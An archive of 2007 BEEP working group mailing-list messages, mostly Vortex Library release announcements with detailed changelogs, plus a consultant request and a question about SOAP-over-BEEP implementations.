Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <C62ADE7A-FAEE-4292-A081-BC5CEC722210@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] [ANN] Vortex Library stable release 1.0.1 is ready!
Date: Fri, 23 Feb 2007 08:30:19 -0800
To: Francis Brosnan Blazquez <francis@aspl.es>
X-Mailer: Apple Mail (2.752.3)
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
cc: Vortex <vortex@dolphin.aspl.es>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 23 Feb 2007 16:30:23 -0000

>   Advanced Software Production Line is proud to announce the Vortex
>   Library 1.0.1 availability: an open source "BEEP Core" protocol
>   implementation written in C, mapped onto TCP/IP.

congratulations!!!

/mtr

From 42c7b0---Rob.Buck@intermec.com Sat Mar 10 20:28:06 2007
Received: from mc.sc1.ummail.com (mc.sc1.ummail.com [66.187.250.19])
	l2B4S5Om016226
	for <BEEPwg@lists.beepcore.org>; Sat, 10 Mar 2007 20:28:06 -0800
Received: from int-fe1.corpnet.intermec.com (int-fe1.corpnet.intermec.com
	[65.248.101.36]) by mc.sc1.ummail.com with ESMTP id b0310-2327-5d3300;
	Sun, 11 Mar 2007 04:27:53 GMT
X-PROVIDER-INFO: Contact abuse@unitedmessaging.com for abuse/spam/UBE
	complaints
Received: from INT-EV1.corpnet.intermec.com ([63.97.183.164]) by
	int-fe1.corpnet.intermec.com with Microsoft SMTPSVC(6.0.3790.211);
	Sat,	10 Mar 2007 22:27:45 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="<<001-45f3854c-74f4>>"
Date: Sat, 10 Mar 2007 22:27:44 -0600
Message-ID: <219C074C13841343B56DB05D4260B7FB80267D@INT-EV1.corpnet.intermec.com>
Thread-Topic: Application Protocol Design Consultant Affiliated with MIT?
Thread-Index: AcdjlZ2opFrNwKD4T1qPjE2ZXTu06Q==
From: "Buck, Rob D." <Rob.Buck@intermec.com>
To: <BEEPwg@lists.beepcore.org>
X-OriginalArrivalTime: 11 Mar 2007 04:27:45.0465 (UTC)
	FILETIME=[9DF42A90:01C76395]
Subject: [BEEPwg] 
	Application Protocol Design Consultant Affiliated with MIT?
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sun, 11 Mar 2007 04:28:06 -0000

--<<001-45f3854c-74f4>>
Content-Type: multipart/alternative; boundary="<<002-45f3854c-74f4>>"
Content-disposition: inline

--<<002-45f3854c-74f4>>
Content-type: text/plain
Content-transfer-encoding: 7bit

I'm looking for an application protocol design expert that's affiliated
with MIT.  Specifically, I'm looking for someone who might be able to
consult on application protocol design to Auto-ID Labs at MIT.

 

Thank you,

Rob Buck

 



--<<002-45f3854c-74f4>>
Content-type: text/html
Content-transfer-encoding: base64

PGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4
bWxuczp3PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTp3b3JkIiB4bWxucz0iaHR0
cDovL3d3dy53My5vcmcvVFIvUkVDLWh0bWw0MCI+DQoNCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVp
dj1Db250ZW50LVR5cGUgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXVzLWFzY2lpIj4NCjxt
ZXRhIG5hbWU9R2VuZXJhdG9yIGNvbnRlbnQ9Ik1pY3Jvc29mdCBXb3JkIDExIChmaWx0ZXJlZCBt
ZWRpdW0pIj4NCjxzdHlsZT4NCjwhLS0NCiAvKiBTdHlsZSBEZWZpbml0aW9ucyAqLw0KIHAuTXNv
Tm9ybWFsLCBsaS5Nc29Ob3JtYWwsIGRpdi5Nc29Ob3JtYWwNCgl7bWFyZ2luOjBpbjsNCgltYXJn
aW4tYm90dG9tOi4wMDAxcHQ7DQoJZm9udC1zaXplOjEyLjBwdDsNCglmb250LWZhbWlseToiVGlt
ZXMgTmV3IFJvbWFuIjt9DQphOmxpbmssIHNwYW4uTXNvSHlwZXJsaW5rDQoJe2NvbG9yOmJsdWU7
DQoJdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQphOnZpc2l0ZWQsIHNwYW4uTXNvSHlwZXJs
aW5rRm9sbG93ZWQNCgl7Y29sb3I6cHVycGxlOw0KCXRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7
fQ0Kc3Bhbi5FbWFpbFN0eWxlMTcNCgl7bXNvLXN0eWxlLXR5cGU6cGVyc29uYWwtY29tcG9zZTsN
Cglmb250LWZhbWlseTpBcmlhbDsNCgljb2xvcjp3aW5kb3d0ZXh0O30NCkBwYWdlIFNlY3Rpb24x
DQoJe3NpemU6OC41aW4gMTEuMGluOw0KCW1hcmdpbjoxLjBpbiAxLjI1aW4gMS4waW4gMS4yNWlu
O30NCmRpdi5TZWN0aW9uMQ0KCXtwYWdlOlNlY3Rpb24xO30NCi0tPg0KPC9zdHlsZT4NCg0KPC9o
ZWFkPg0KDQo8Ym9keSBsYW5nPUVOLVVTIGxpbms9Ymx1ZSB2bGluaz1wdXJwbGU+DQoNCjxkaXYg
Y2xhc3M9U2VjdGlvbjE+DQoNCjxwIGNsYXNzPU1zb05vcm1hbD48Zm9udCBzaXplPTIgZmFjZT1B
cmlhbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjBwdDsNCmZvbnQtZmFtaWx5OkFyaWFsJz5J
JiM4MjE3O20gbG9va2luZyBmb3IgYW4gYXBwbGljYXRpb24gcHJvdG9jb2wgZGVzaWduIGV4cGVy
dA0KdGhhdCYjODIxNztzIGFmZmlsaWF0ZWQgd2l0aCBNSVQuICZuYnNwO1NwZWNpZmljYWxseSwg
SSYjODIxNzttIGxvb2tpbmcgZm9yDQpzb21lb25lIHdobyBtaWdodCBiZSBhYmxlIHRvIGNvbnN1
bHQgb24gYXBwbGljYXRpb24gcHJvdG9jb2wgZGVzaWduIHRvIEF1dG8tSUQNCkxhYnMgYXQgTUlU
LjxvOnA+PC9vOnA+PC9zcGFuPjwvZm9udD48L3A+DQoNCjxwIGNsYXNzPU1zb05vcm1hbD48Zm9u
dCBzaXplPTIgZmFjZT1BcmlhbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjBwdDsNCmZvbnQt
ZmFtaWx5OkFyaWFsJz48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48L2ZvbnQ+PC9wPg0KDQo8cCBj
bGFzcz1Nc29Ob3JtYWw+PGZvbnQgc2l6ZT0yIGZhY2U9QXJpYWw+PHNwYW4gc3R5bGU9J2ZvbnQt
c2l6ZToxMC4wcHQ7DQpmb250LWZhbWlseTpBcmlhbCc+VGhhbmsgeW91LDxvOnA+PC9vOnA+PC9z
cGFuPjwvZm9udD48L3A+DQoNCjxwIGNsYXNzPU1zb05vcm1hbD48Zm9udCBzaXplPTIgZmFjZT1B
cmlhbD48c3BhbiBzdHlsZT0nZm9udC1zaXplOjEwLjBwdDsNCmZvbnQtZmFtaWx5OkFyaWFsJz5S
b2IgQnVjazwvc3Bhbj48L2ZvbnQ+PG86cD48L286cD48L3A+DQoNCjxwIGNsYXNzPU1zb05vcm1h
bD48Zm9udCBzaXplPTMgZmFjZT0iVGltZXMgTmV3IFJvbWFuIj48c3BhbiBzdHlsZT0nZm9udC1z
aXplOg0KMTIuMHB0Jz48bzpwPiZuYnNwOzwvbzpwPjwvc3Bhbj48L2ZvbnQ+PC9wPg0KDQo8L2Rp
dj4NCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQoNCj==

--<<002-45f3854c-74f4>>--

--<<001-45f3854c-74f4>>
Content-type: text/plain
Content-transfer-encoding: base64

VGhpcyBtZXNzYWdlIGlzIGludGVuZGVkIG9ubHkgZm9yIHRoZSBuYW1lZCByZWNpcGllbnQuIElm
IHlvdSBhcmUgbm90IA0KdGhlIGludGVuZGVkIHJlY2lwaWVudCwgeW91IGFyZSBub3RpZmllZCB0
aGF0IGRpc2Nsb3NpbmcsIGNvcHlpbmcsIA0KZGlzdHJpYnV0aW5nIG9yIHRha2luZyBhbnkgYWN0
aW9uIGJhc2VkIG9uIHRoZSBjb250ZW50cyBvZiB0aGlzIA0KaW5mb3JtYXRpb24gaXMgc3RyaWN0
bHkgcHJvaGliaXRlZC4NCt==

--<<001-45f3854c-74f4>>--

From francis@aspl.es Fri Mar 16 09:36:36 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l2GHaY2a002060;	Fri, 16 Mar 2007 09:36:35 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1HSGLh-0006bP-00; Fri, 16 Mar 2007 18:36:17 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 16 Mar 2007 18:36:27 +0100
Message-Id: <1174066588.1915.17.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.3 
X-Scanner: exiscan *1HSGLh-0006bP-00*gdPT2Gw3WH.*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l2GHaY2a002060
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 1.0.2 echoes release is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 16 Mar 2007 17:36:36 -0000

       ###########################################
       ##  Vortex Library 1.0.2 Stable Release  ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.2 "echoes release" availability: an open source "BEEP
  Core" protocol implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  This new release includes an API update to the find facility
  provided by the vortex support module, allowing to perform search
  constrained to the path installed for a particular domain.

  Updates to the internal source code, upgrading frame joining code,
  making it more simply. 

  General update to the xml-rpc-gen tool to be able now to notify the
  user when a file to be created already exists and differs from the
  copy produced by the tool, allowing to skip or to overwrite. Fixed
  source code generation for the tool.

  Updated the regression test to include checks for the vortex channel
  pool module.

  Bug fixing and document updates.

Thanks to..
~~~~~~~~~~~

  Martin Huter (reported and solved SIGPIPE handling with older glib
  version and its appreciated comments to improve the library under
  heavy loads).

  Vicent AE Scott (reported and pointed out the solution for wrong
  xml-rpc-gen source code generation).


Changes since 1.0.1
~~~~~~~~~~~~~~~~~~~

* [new] Added new API to perform file lookups using search path added
  constrained to a particular domain. Updated vortex support internal
  module to make previous function to keep working the same while
  retaining backward compatibility with the new API:
  
   - vortex_support_add_domain_search_path
   - vortex_support_add_domain_search_path_ref
   - vortex_support_domain_find_data_file

* [fix] replaced all references to the glib hash, with axl hash.

* [fix] Committing latest update to the libvortex.def

* [fix] Microsoft Visual Studio file modified to use a relative path
  to code instead of a full path. Also Debug information has been
  added.

* [fix] Making SIGPIPE handling to be reinstalled once triggered,
avoiding
  ancient glib implementations to restore to the default. (Reported and
  Fixed by Martin Huter).

* [fix] Fixed marshalling error at the server side component source
  code generation, causing to trying marshall an array as an
  struct. (Bug reported by Vicent AE Scott, and pointed its solution).

* [fix] Improved marshalling error reporting at the server side
  component produced by the tool.

* [fix] Updating exarg code.

* [new] General update to the source code generation model.  Now the
  tool will detect which files have changes according to the source
  code created, allowing the user to skip those changes or to
  introduce them.

* [fix] Replaced all calls to g_async_queue_push with QUEUE_PUSH,
  implementing additional checks that are reported at the place they
  could fail.

* [fix] Fixed wrong reply handling for the TLS activation, using the
sync mode.
  Seems it doesn't work under heavy load circumstances.

* [fix] Making vortex sequencer to check the queue before operating
  with it.  Some race conditions under heavy load could cause to
  access to a null reference queue.

* [fix] Simplified automatic frame joining handling at the vortex
  reader/vortex channel module, updating

vortex_channel_set_previous_frame/get_previous_frame/have_previous_frame
  to use a simple implementation based in an unique pending frame to
  be joined rather than a list.

* [fix] Fixed a bug at the vortex_hash_replace function, which was
  causing to not configure the key and data destroy function causing
  memory leaks.

* [fix] Fixed wrong handler provided to the connection status command.

* [fix] committing changes to remove GList references at the vortex
  channel module.

* [fix] Updated vortex channel pool module to remove all references to
  GList and fixed hidden bug which was causing to not properly
  deattach a channel from the pool.

* [new] Added new function which allows to check if two channel
references
  are equal. API added:

   - vortex_channel_are_equal

* [fix] Fixed a bug at vortex_channel_pool_close which was causing to
  get hanged if called from outside the vortex connection context.

* [fix] Making vortex_channel_set_pool to also accept a NULL reference
  for the pool parameter allowing to remove the parent pool reference.

* [fix] Updated vortex channel pool documentation.

* [fix] Updating vortex-regression-client to include a minimal test to
  check channel pool functions.

About Us
~~~~~~~~

  Advanced Software Production Line is leading the Af-Arch project: a
  complete framework to develop distributed application to manage
  enterprise process.

  Af-Arch project relies on Vortex Library to exchange data between
  its distributed nodes.

  Advanced Software Production Line also provides GNU/Linux support
  and consulting services to help organization to introduce GNU/Linux
  inside its process.

  Contact us, using English or Spanish, to get commercial support
  and/or BEEP based development services.

  You can reach us:

       http://www.aspl.es - info@aspl.es

  We hope Vortex Library help you. Enjoy Vortex Library!  

--
Francis Brosnan Blázquez           - francis@aspl.es
Advanced Software Production Line  - http://www.aspl.es
16th mar 2007, Madrid (Spain)


From stihler@ppgia.pucpr.br Mon Apr  9 11:05:03 2007
Received: from ppgia.pucpr.br (hermes.ppgia.pucpr.br [200.192.112.141])
	l39I51Hg026065
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <beepwg@lists.beepcore.org>; Mon, 9 Apr 2007 11:05:03 -0700
Received: from [10.32.1.22] (helo=localhost)
	by ppgia.pucpr.br with esmtp (PPGIA PUCPR)
	id 1HayEQ-0007zQ-Py
	for <beepwg@lists.beepcore.org>; Mon, 09 Apr 2007 15:04:46 -0300
Received: from 201-66-31-182.ctame704.dsl.brasiltelecom.net.br
	(201-66-31-182.ctame704.dsl.brasiltelecom.net.br [201.66.31.182]) by
	wwws.ppgia.pucpr.br (Horde MIME library) with HTTP; Mon, 09 Apr 2007
	15:04:44 -0300
Message-ID: <20070409150444.hs1fdfs408cosg04@wwws.ppgia.pucpr.br>
Date: Mon, 09 Apr 2007 15:04:44 -0300
From: stihler@ppgia.pucpr.br
To: beepwg@lists.beepcore.org
MIME-Version: 1.0
Content-Type: text/plain;
	charset=ISO-8859-1;
	DelSp="Yes";
	format="flowed"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
User-Agent: Internet Messaging Program (IMP) H3 (4.1.2)
X-Spam-Score: -2.6 (--)
X-Virus-Scanned: Verificado contra virus.
Subject: [BEEPwg] implementing a profile
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 09 Apr 2007 18:05:03 -0000

Greetings.

I'm trying to design an authorization framework for web-services, and  
I'm thinking to use BEEP as the transport protocol for SOAP. I did  
some research for implementations but found nothing (except for IBM's  
beeplite, which has a 90-day license).

Is there any opensource implementation of the SOAP-over-BEEP profile  
described on rfc4227? If there is not, would it be too hard to  
implement it?

I'm thinking about using Beepcore for java. The application would be a  
kind of proxy for SOAP requisitions, it would inspect every SOAP  
message and check it against the policies, closing the channel in case  
of policy violation, otherwise it would forward the message to the  
right web service.

ex:
client-->[proxy client]<=SOAP/BEEP=>[proxy]-->web-service

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From francis@aspl.es Wed May 30 11:47:03 2007
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])l4UIl1CZ032201;	Wed, 30 May 2007 11:47:02 -0700
Received: from 29.red-83-36-204.dynamicip.rima-tde.net ([83.36.204.29]
	helo=tot.home)	by dolphin.aspl.es with asmtp (ASPL Mail Server XP#1)
	id 1HtTBn-0001cu-00; Wed, 30 May 2007 20:46:33 +0200
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-1
Organization: Advanced Software Production Line, S.L.
Date: Wed, 30 May 2007 20:46:24 +0200
Message-Id: <1180550784.30609.1.camel@tot.home>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.1 
X-Scanner: exiscan *1HtTBn-0001cu-00*bYJwjrCgmkI*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id l4UIl1CZ032201
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch users <aspl-fact-users@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 1.0.3 "Hands open release" is ready!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
Reply-To: francis@aspl.es
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 30 May 2007 18:47:04 -0000

              ######################################
              ##       Vortex Library 1.0.3       ##
              ##       "Hands open release"       ##
              ######################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 1.0.3 "Hands open release" availability: an open source "BEEP
  Core" protocol implementation written in C, mapped onto TCP/IP.

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es 
      [Vortex Library homepage]
 
    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]

    - http://xml.aspl.es
      [Axl Library, XML 1.0 implementation]
    
The release in short
~~~~~~~~~~~~~~~~~~~~
  Finally, vortex library no longer depends on Glib and GThread. It
  now includes its own abstraction layer for the threading API
  (supporting POSIX and win32 backend).

  Implemented a new general purpose filtering mechanism (Profile
  Masks) which allows to configure and control which profiles can be
  selected. This have been used by Turbulence to implement a powerful
  administrative configuration which allows to mix, select, and filter
  profiles according to serverName parameter, peer remote address,
  profiles that are already initiated, etc.

  The xml-rpc-gen tool is now fully tested, being considered as a
  stable tool.

  Updated Vortex I/O waiting API to support poll(2) and epoll(2)
  system calls when available. The new added API allows to select each
  mechanism at run-time even during transmission!

  Implemented a fully working TUNNEL profile, allowing every BEEP
  profile implemented on top of Vortex to be TUNNELed through a BEEP
  proxy at run-time without any modification. Turbulence uses this
  TUNNEL implementation to provide a general TUNNEL BEEP server, with
  an administrative configuration.

  Lot of work have been done to increase the Vortex Library run-time
  performance, reducing its memory consumption. Client regression test
  used at 1.0.2 was completed with 14.244 seconds, while the similar
  test (with more checkings added) is completed in 5.832 seconds. 
  
Thanks to..
~~~~~~~~~~~
  Thomas Unterleitner (reported and fixed wrong signal configuration
  at the windows platform). 

  Milton Yates (fixed warnings at vortex main header, fixed missing
  parameter received in the validation resource function for the
  xml-rpc implementation)

  Martin Huter (provided really useful patches to integrate poll(2)
  and epoll(2) into vortex).

Change notifications
~~~~~~~~~~~~~~~~~~~~
  [1] vortex-axllist-api-01
  http://lists.aspl.es/pipermail/vortex/2007-April/000149.html
  
  [2] vortex-async-queue-api-01
  http://lists.aspl.es/pipermail/vortex/2007-April/000150.html


Changes since 1.0.2
~~~~~~~~~~~~~~~~~~~

* [fix] Added #ifdef macros to avoid exposing signal configuration
  while compiling vortex.c under windows (Reported and fixed by Thomas
  Unterleitner).

* [fix] Fixed some warnings caused by header definitions at vortex
  module.  (Reported and fixed by Milton Yates).

* [fix] Fixed a missing parameter received in the validation resource
function
  for the xml-rpc implementation (Reported and fixed by Milton Yates).

* [new] Added new module to implement a portable threading API,
  supporting initially POSIX and windows API. The new API includes
  basic support to create threads, support for mutex and support for
  conditional vars. Replaced all calls to previous api g_mutex_*,
  g_thread_* and g_cond*.  Checked that the result properly executes
  the regression test.  API added:

   - VortexThread (type)
   - vortex_thread_create
   - VortexThreadConf (enum)
   - VortexMutex (type)
   - vortex_mutex_create
   - vortex_mutex_destroy
   - vortex_mutex_lock
   - vortex_mutex_unlock
   - VortexCond (type)
   - vortex_cond_create
   - vortex_cond_signal
   - vortex_cond_broadcast
   - vortex_cond_wait
   - vortex_cond_timedwait
   - vortex_cond_destroy

* [fix] Replaced all calls to the g_static_mutex* api with new API
  provided.

* [fix] Removed vortex semaphore modules. It is no longer required.

* [new] Committing initial headers to implement a message queue, to
replace
  current implementation based on GAsyncQueue.

* [new] Implemented a replacement for GAsyncQueue, with the API
  required:

   - VortexAsyncQueue (type)
   - vortex_async_queue_new
   - vortex_async_queue_ref
   - vortex_async_queue_unref
   - vortex_async_queue_push
   - vortex_async_queue_pop
   - vortex_async_queue_timedpop
   - vortex_async_queue_length
   - vortex_async_queue_waiters

* [fix] replace calls to previous message queue API with the new one
  provided: VortexAsyncQueue. Replaced all calls to previous logging
  facilities, using new one provided by vortex_log. Ensured all
  regression test work properly.

* [fix] Updated regression test to conform with the new changes
  introduced. Removed pkg-config reference to gthread-2.0
  module. Removed all gthread initialization code.

* [fix] Updated vortex hash handling provided by vortex connection and
  vortex channel modules, to fully use services provided by axlHash
  (removed previous code that was adding support to configure a
  key_destroy and a func_destroy per item, which is supported by axl
  hash).

* [new] Added new API to replace an item into the VortexHash
  configuring the key and value destroy function. Added also a
  function to get and clear a data from the hash atomically. API
  added:

    - vortex_hash_replace_full
    - vortex_hash_lookup_and_clear

* [fix] Making vortex_channel_get_piggyback to use
  vortex_hash_lookup_and_clear to avoid possible race condition.

* [fix] Reimplemented vortex queue module internals to use axlList
  rather than GQueue. Checked library status against regression test.

* [new] Added support to implement a profile filtering mechanism that
  allows to install user space handlers which are executed by vortex
  to check if a profile could be used (in many contexts, for example
  while producing the greetings reply, or returning remote side
  profiles supported). Updated vortex internals, sasl and tls
  implementation to use this new feature. Nice!  API added:

   - VortexProfileMaskFunc (handler)
   - vortex_connection_set_profile_mask
   - vortex_connection_is_profile_filtered


* [fix] fixed wrong conditional wait at vortex_async_queue_timedpop.

* [fix] Fixed race condition causing channel module to dealloc an
  string which is later used while closing the channel 0 acting as a
  listener.

* [fix] committing missing channel module headers for previous fix.

* [new] Updated vortex-regression-client to check vortex on close
  connection notification functions.

* [fix] Simplified internal implementation for the full on close
  connection notification, to use axlList rather than GList, storing the
  handler and the data associated inside a single node.

* [fix] Reimplemented channel closing functions, at the connection
  close to replace GList previous implementation with axlList. Used
  destroy notification functions from axlList to improve channel
  closing.

* [fix] Fixed bug and memory leak at the channel extended start
  handling, causing to not use the error reply produced by the profile
  implantation, loosing that content and the memory reference.

* [fix] Fixed memory leak at the sasl implementation, causing to
  double-allocate the password returned for the CRAM-MD5 and the
  DIGEST-MD5.

* [fix] Updated implementation for vortex_profiles_get_actual_list, to
  use axlList rather than GList.

* [fix] Fixed documentation references, and removed VortexSemaphore
  declaration.

* [fix] several fixings to make the new threading layer to properly
  work on windows.

* [fix] Updating version and configure.ac files.

* [fix] Updated compilation files for windows: removed reference to
  vortex semaphore module, added vortex thread.

* [fix] Fixed race condition at __vortex_connection_set_not_connected.


* [fix] xml-rpc-gen: replaced getline implementation with a portable
  one, that is available on windows and linux. Updated tool headers to
  include some definitions to avoid to make the tool available on
  windows.

* [fix] Included initial support to the poll interface, and reworked
  race condition fixed previously on windows which was causing
  problems on linux.

* [fix] Committing update to the libvortex.def to remove function which
  are not available on windows and updated Makefile.am to produce a
  proper .def file.

* [new] Added support to vortex library to change the I/O wait API at
  runtime.  Integrated into regression tests, and now vortex tests
  are changed against all available I/O API installed. GREAT!!  API
  added:
 
     - vortex_io_waiting_use
     - vortex_io_waiting_is_available
     - vortex_io_waiting_get_current
  
* [new] Added support to use poll(2) system call to perform I/O
  waiting, which is selectable at any time. (Martin Huter reported and
  provided really useful patches to integrate poll(2) into
  vortex). GREAT!!

* [new] Added new API to allow setting and getting run time
  configuration used by the library. Implemented initial support to
  get current listen backlog and socket number limit
  configuration. Making vortex listener module to use this value while
  allocating new listeners. API added:

     - vortex_conf_get
     - vortex_conf_set
     - VORTEX_LISTENER_BACKLOG, VORTEX_SOFT_SOCK_LIMIT,
VORTEX_HARD_SOCK_LIMIT.

* [fix] Removed all references to G_OS_UNIX and G_OS_WIN32, replaced
  by its similar macros found in axl.

* [fix] Fixed bug which was causing to get a listener connection
  locked into the situation where no more sockets could be allocated
  (making accept call to fail) due to system limits reached, but at
  the same time the listener completed connection queue (backlog) is
  full and always reporting for pending events to be processed.

* [fix] Finished initial implementation to configure vortex_conf_set.

* [new] Added complete support for the epoll(2) interface, fully
  tested and integrated into the regression test (Thanks for Martin
  Huter for providing useful information and patches to integrate
  poll and epoll).

* [new] Making vortex compile configuration to detect and check the
  better I/O waiting interface, to make it the default one. Now, the
  library supports select(2), poll(2) and epoll(2).

* [fix] Fixed a bug inside the select(2) I/O implementation which was
  causing to overrun the file set buffer, leading to weird bugs.

* [fix] Making vortex master listener connection to also have data
  hash initialized.

* [fix] Making vortex_connection_is_ok to activate free on fail
  feature in all cases.

* [new] Updated all vortex io interface to provide support for
  automatic dispatch, allowing to improve performance one those
  mechanism that can implement it. For now, poll(2) and epoll(2)
  implements it. API added:
 
   - VortexIoHaveDispatch
   - VortexIoDispatchFunc
   - VortexIODispatch
   - vortex_io_waiting_set_have_dispatch
   - vortex_io_waiting_set_dispatch
   - vortex_io_waiting_invoke_have_dispatch
   - vortex_io_waiting_invoke_dispatch

* [new] Added new function to check queue items at a vortex async
  queue.  API added:

   - vortex_async_queue_items

* [fix] Making vortex reader to take check result provided by
